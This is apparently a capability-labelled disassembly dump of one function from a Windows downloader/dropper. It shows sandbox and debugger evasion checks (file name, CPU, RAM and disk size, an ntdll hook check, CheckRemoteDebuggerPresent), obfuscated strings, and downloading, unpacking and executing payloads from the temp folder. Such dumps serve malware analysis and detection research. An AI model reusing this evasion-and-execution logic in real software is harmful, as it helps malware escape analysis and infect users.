Function at 0x140002aa0
Capabilities:
Check for debugger via api
Create http request
Create process on windows
Download and write a file
Get common file path
Get file size
Get memory capacity
Get system information on windows
Read data from internet
Read file via mapping
Receive and write data from server to client
Receive data
Resolve function by parsing pe exports
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2900]
mov eax, 0x2a00
call fcn.14001cf70
sub rsp, rax
mov rax, qword [0x140067328]
xor rax, rsp
mov qword [rbp + 0x28f0], rax
xor edi, edi
mov dword [rsp + 0x50], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x14005fbb0]
movdqu xmmword [rsp + 0x68], xmm1
mov byte [rsp + 0x58], dil
mov r14d, 1
mov dword [rsp + 0x50], r14d
lea r8d, [rdi + 0x7c]
lea rdx, str.fwfeweffwefweoihfwehfwehfweojoireoijrgeojigeroijegrgerojigerjiogerjiogeroqpijrpoegirjwqergwopjwgerjgwrejopiwgerjopiwgerpojio
lea rcx, [rsp + 0x58]
call fcn.1400056b0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002b5d
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b6d
call fcn.14001c710
mov r8d, 0x104
lea rdx, [rbp + 0x6e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x6e0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
mov r13, 0xffffffffffffffff
mov rbx, r13
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140002ba0
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140003b73
movabs r12, 0x7fffffffffffffff
mov qword [rbp - 0x48], 7
cmp rbx, 8
jae 0x140002bf7
mov qword [rbp - 0x50], rbx
add rbx, rbx
mov r8, rbx
mov rdx, r15
lea rcx, [rbp - 0x60]
call fcn.14001e6c0
xor esi, esi
mov word [rbp + rbx - 0x60], si
jmp 0x140002c8d
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x140002c09
lea rcx, [r12 + r12]
jmp 0x140002c31
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, r12
ja 0x140003b67
add rcx, rcx
cmp rcx, 0x1000
jb 0x140002c5d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b67
mov rcx, rax
call fcn.14001c9b4
test rax, rax
je 0x140003b61
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002c6a
test rcx, rcx
je 0x140002c6a
call fcn.14001c9b4
mov rdi, rax
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rsi
add rbx, rbx
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.14001e6c0
xor esi, esi
mov word [rdi + rbx], si
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x50]
lea r15, [rdx + rax*2]
lea rdi, [rbp - 0x60]
cmovae rdi, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rsi
cmp rdi, r15
jne 0x140002cd2
mov r8, rsi
mov r13d, 0xf
mov qword [rbp - 0x68], r13
mov byte [rbp - 0x80], 0
jmp 0x140002db9
mov rax, r15
sub rax, rdi
sar rax, 1
mov ebx, 0xf
mov qword [rbp - 0x68], rbx
cmp rax, r12
ja 0x140003b79
cmp rax, 0x10
jb 0x140002d70
mov rbx, rax
or rbx, 0xf
cmp rbx, r12
jbe 0x140002d04
mov rbx, r12
jmp 0x140002d10
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
cmovb rcx, r13
cmp rcx, 0x1000
jb 0x140002d53
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b7f
mov rcx, rax
call fcn.14001c9b4
mov rcx, rax
test rax, rax
je 0x140003bd9
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002d61
test rcx, rcx
je 0x140002d5f
call fcn.14001c9b4
jmp 0x140002d61
xor eax, eax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rbx
nop dword [rax]
lea rcx, [rbp - 0x80]
cmp rbx, 0x10
cmovae rcx, qword [rbp - 0x80]
movzx eax, byte [rdi]
mov byte [rcx + rsi], al
mov rsi, qword [rbp - 0x70]
inc rsi
mov qword [rbp - 0x70], rsi
add rdi, 2
cmp rdi, r15
je 0x140002d9d
mov rbx, qword [rbp - 0x68]
jmp 0x140002d70
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rax, qword [rbp - 0x80]
mov byte [rsi + rax], 0
mov r13, qword [rbp - 0x68]
mov r8, qword [rbp - 0x70]
xor esi, esi
lea rcx, [rbp - 0x80]
mov r12, qword [rbp - 0x80]
cmp r13, 0x10
cmovae rcx, r12
cmp r8, 0x14
jne 0x140002de3
lea rdx, str.UnderEnvironment.exe
call fcn.14001e5c0
test eax, eax
je 0x14000300c
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x140], 2
jb 0x140003ab6
mov dword [rbp + 0x150], 0x40
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x158]
shr rax, 0x14
cmp eax, 0x800
jb 0x140003ab6
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 3]
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rsi
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x18
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x6c]
mov eax, dword [rsp + 0x68]
imul rcx, rax
mov eax, dword [rsp + 0x64]
imul rax, rcx
imul rax, qword [rsp + 0x58]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x3a
jb 0x140003ab6
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.C:WindowsSystem32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rsi, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rax + rsi + 0x88]
add rcx, rsi
mov eax, dword [rcx + 0x1c]
add rax, rsi
mov qword [rsp + 0x40], rax
mov edi, dword [rcx + 0x20]
add rdi, rsi
mov eax, dword [rcx + 0x24]
add rax, rsi
mov qword [rsp + 0x48], rax
xor r15d, r15d
xor ebx, ebx
mov r12d, dword [rcx + 0x18]
test r12d, r12d
je 0x140002faa
nop dword [rax]
mov ecx, dword [rdi]
add rcx, rsi
lea rdx, str.NtCreateThreadEx
call fcn.14004d600
test eax, eax
je 0x140002f92
inc ebx
add rdi, 4
cmp ebx, r12d
jb 0x140002f70
jmp 0x140002faa
movsxd rax, ebx
mov rcx, qword [rsp + 0x48]
movzx ecx, word [rcx + rax*2]
mov rax, qword [rsp + 0x40]
mov r15d, dword [rax + rcx*4]
add r15, rsi
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
mov rax, qword [rax]
cmp rax, qword [r15]
jne 0x140003ab2
mov rax, qword [rcx + 8]
cmp rax, qword [r15 + 8]
jne 0x140003ab2
xor esi, esi
mov dword [rsp + 0x50], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov r12, qword [rbp - 0x80]
cmp dword [rsp + 0x50], esi
jne 0x140003ab6
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
mov r8d, 0x40
lea rdx, str.KUQ7JwMfbgl6eQgGdR5YBcBcQNgMVZCJEM7eF9fM10qJUpJMkQqOklCLh41Pkk
lea rcx, [rbp + 0xc0]
call fcn.140006330
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
mov r8d, 6
lea rdx, str.A0OW90
lea rcx, [rbp + 0x60]
call fcn.140006330
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov r8d, 0x26
lea rdx, str.__formersystempro__formersystempro.exe
lea rcx, [rbp - 0x40]
call fcn.140006330
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
mov r8d, 0xf
lea rdx, str.formersystempro
lea rcx, [rbp]
call fcn.140006330
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
mov r8d, 6
lea rdx, str.A2URDG
lea rcx, [rbp + 0x100]
call fcn.140006330
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov r8d, 0xd
lea rdx, str.__Success.exe
lea rcx, [rbp + 0xe0]
call fcn.140006330
nop
xor ecx, ecx
call fcn.140024078
mov rcx, rax
call fcn.140022e44
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
call fcn.1400025b0
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400024d0
nop
lea rdi, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdi, qword [rbp + 0x40]
lea rdx, [rbp]
lea rcx, [rbp + 0x80]
call fcn.1400025b0
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x20]
call fcn.1400024d0
nop
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rax, qword [rbp + 0x20]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x190]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov r15, qword [rbp]
test eax, eax
jne 0x1400031d5
call fcn.140005f20
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140005d90
movzx edx, al
mov rcx, rbx
call fcn.1400068d0
mov rcx, rbx
call fcn.140005970
jmp 0x1400036cb
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8, r14
lea rdx, [0x14005fb38]
lea rcx, [rbp - 0x20]
call fcn.140006330
nop
mov edx, 7
lea rcx, [rsp + 0x58]
call fcn.140002260
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140003215
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x20]
call fcn.1400056b0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140003260
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000325b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b85
call fcn.14001c710
mov r8d, 4
lea rdx, str..zip
lea rcx, [rbp - 0x20]
call fcn.1400056b0
lea rbx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rbx, qword [rbp - 0x20]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x2a0]
call fcn.140023958
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x2a0]
call fcn.140024278
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rbx, qword [rbp - 0x40]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x4c0]
call fcn.140023958
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x4c0]
call fcn.140024278
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x14000367f
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x140003349
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000367f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x14000339a
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000367f
mov dword [rsp + 0x54], 0
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x8f0]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140003409
nop
mov r8d, dword [rsp + 0x54]
test r8d, r8d
je 0x140003409
xor eax, eax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea rdx, [rbp + 0x8f0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x8f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400033c0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x2a0]
call fcn.140001e00
mov dword [rsp + 0x28], r14d
xor edi, edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0x4c0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, r15
mov r8, qword [rbp + 0x10]
test r8, r8
jne 0x140003486
lea rdx, [0x14005f8b0]
call fcn.14001e5c0
test eax, eax
je 0x140003aaa
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8, r14
lea rdx, [0x14005fb38]
lea rcx, [rsp + 0x58]
call fcn.140006330
nop
mov edx, 0xc
lea rcx, [rbp + 0x120]
call fcn.140002260
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400034cb
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x58]
call fcn.1400056b0
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x14000351b
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003516
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b8b
call fcn.14001c710
mov r8d, 4
lea rdx, str..zip
lea rcx, [rsp + 0x58]
call fcn.1400056b0
lea rbx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rbx, qword [rsp + 0x58]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x3b0]
call fcn.140023958
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x3b0]
call fcn.140024278
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rbx, qword [rbp - 0x40]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x5d0]
call fcn.140023958
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x5d0]
call fcn.140024278
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140003641
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140003637
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x1400039a5
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000367f
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003679
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b91
call fcn.14001c710
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400036ba
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b97
call fcn.14001c710
movdqa xmm0, xmmword [0x14005fbb0]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140003706
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003701
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b9d
call fcn.14001c710
movdqa xmm0, xmmword [0x14005fbb0]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140003758
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003753
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ba3
call fcn.14001c710
movdqa xmm0, xmmword [0x14005fbb0]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400037aa
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ba9
call fcn.14001c710
movdqa xmm0, xmmword [0x14005fbb0]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400037fc
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003baf
call fcn.14001c710
movdqa xmm0, xmmword [0x14005fbb0]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140003855
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000384f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bb5
call fcn.14001c710
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140003897
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003891
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bbb
call fcn.14001c710
nop
mov rax, qword [rbp + 0x18]
cmp rax, 0x10
jb 0x1400038d3
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400038ca
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bc1
mov rcx, r15
call fcn.14001c710
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14000390e
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003909
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bc7
call fcn.14001c710
movdqa xmm0, xmmword [0x14005fbb0]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x14000395b
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003955
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bcd
call fcn.14001c710
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x140003ab9
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000399b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bd3
call fcn.14001c710
jmp 0x140003ab9
mov dword [rsp + 0x50], 0
lea r9, [rsp + 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x18f0]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140003a19
nop dword [rax]
mov r8d, dword [rsp + 0x50]
test r8d, r8d
je 0x140003a19
xor eax, eax
mov dword [rsp + 0x78], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea rdx, [rbp + 0x18f0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x18f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400039d0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x3b0]
call fcn.140001e00
mov dword [rsp + 0x28], r14d
xor edi, edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0x5d0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140003aaa
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003aa5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b91
call fcn.14001c710
mov r14d, edi
jmp 0x14000367f
mov r12, qword [rbp - 0x80]
xor r14d, r14d
cmp r13, 0x10
jb 0x140003af2
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140003ae9
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bd9
mov rcx, r12
call fcn.14001c710
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140003b2e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b61
call fcn.14001c710
mov eax, r14d
mov rcx, qword [rbp + 0x28f0]
xor rcx, rsp
call fcn.14001c6f0
lea r11, [rsp + 0x2a00]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140025088
int3
call fcn.140001270
int3
call fcn.140025088
int3
call fcn.140001310
nop
call fcn.140001310
nop
call fcn.140001270
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
nop
call fcn.140025088
int3